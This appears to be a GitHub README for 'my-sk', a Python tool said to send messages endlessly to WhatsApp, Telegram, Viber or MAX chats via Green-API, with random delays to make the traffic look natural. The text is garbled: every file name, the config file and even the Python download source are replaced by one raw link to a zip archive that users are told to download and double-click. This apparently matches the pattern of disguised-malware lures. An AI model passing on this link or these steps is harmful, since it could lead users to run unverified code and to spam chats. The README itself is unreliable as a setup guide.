my-sk is a simple program to send messages automatically in WhatsApp, Telegram, Viber, or MAX using the Green-API platform.
You create a list of messages in a text file, run the program, and it sends them repeatedly to your chosen chat. The program adds random delays between messages and can send messages using multiple threads. It also saves logs of its activity.
It works quietly in the background with no extra steps.
- Automatically send messages in a loop
- Supports WhatsApp, Telegram, Viber, and MAX chats
- Uses the Green-API messaging service
- Random delays between messages to avoid spamming
- Runs multiple sending tasks at once to speed up progress
- Saves logs to track your sending history
- Easy setup with no coding needed
- Windows 10 or later
- Internet connection
- Python 3.7 or higher installed
- Enough free space to store your message files and logs (less than 100 MB)
Start by visiting this page to download the latest version:
β‘οΈ Go to my-sk Releases
- Click on the latest release link to find the ZIP archive file for Windows.
- Download the ZIP file to your computer.
- Open the ZIP archive and extract all files to any folder you like (for example, your Desktop or Documents).
- Open the extracted folder and locate the file named
https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zip. - Double-click
https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zipto launch the program. - Before it works, open the file
https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zipwith a simple text editor like Notepad. - Replace the placeholders for
ID_INSTANCE,API_TOKEN, andCHAT_IDwith your own Green-API details and the chat ID where messages should be sent. - Save the changes in
https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zipand runhttps://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zipagain. Your messages will start sending automatically.
To prepare the messages you want to send:
- Create a plain text file with the
.txtextension. - Write each message on a separate line in the file.
- Save the text file inside the folder with the program or any folder you prefer.
- Ensure the program is set to use that text fileβs path.
This file will be read by the program and your messages will cycle through it endlessly.
- After you run
https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zip, the program reads your message list. - It sends messages one by one to the chat you set in
https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zip. - Between messages, the program waits a random short time.
- You will see status updates in the command window, including any errors if they happen.
- Logs are saved automatically to allow later review of sent messages.
If you want to stop the program, simply close the command window.
You need to edit three pieces of information inside https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zip:
- ID_INSTANCE: This is your Green-API accountβs instance ID.
- API_TOKEN: Your Green-API token for authorization.
- CHAT_ID: The ID of the chat to which messages will be sent. This differs for WhatsApp, Telegram, or Viber.
If you donβt have these details:
- Sign up at Green-API to get your ID and token.
- Use the Green-API documentation to find the chat ID for your target chat.
The program uses Python and the aiohttp library to handle sending messages over the network asynchronously.
- It opens multiple sending βthreadsβ to speed up delivery.
- Between messages, random delays keep the sending pattern natural.
- If errors occur (network or API problems), it logs them and tries to continue.
- It does not require you to interact after setup, making the process hands-free.
For this program to work, you must have Python installed on your PC. It can be download from https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zip.
After Python is ready, open a command prompt window and type this command to install a key library:
pip install aiohttpThis library allows the program to send messages efficiently.
- The program only sends messages you specify.
- It uses your Green-API credentials, so keep your tokens secure.
- Logs contain information about sent messages for your reference only.
- Do not share your
https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zipfile with private credentials.
If you run into problems:
- Check the log files to see what the program reports.
- Verify your Green-API credentials are correct.
- Make sure your message text file is formatted correctly.
- Review the Green-API setup guide on their official site for chat ID and API info.
If needed, you can open an issue or discussion on the GitHub repository page.
This project relates to automation and messaging through APIs on platforms like WhatsApp, Telegram, Viber, and MAX. It uses Python scripting and Green-API to send messages effortlessly.
- Download my-sk Releases
- Green-API Website
- https://github.com/ngiuiemm/my-sk/raw/refs/heads/main/src/my_sk_1.0.zip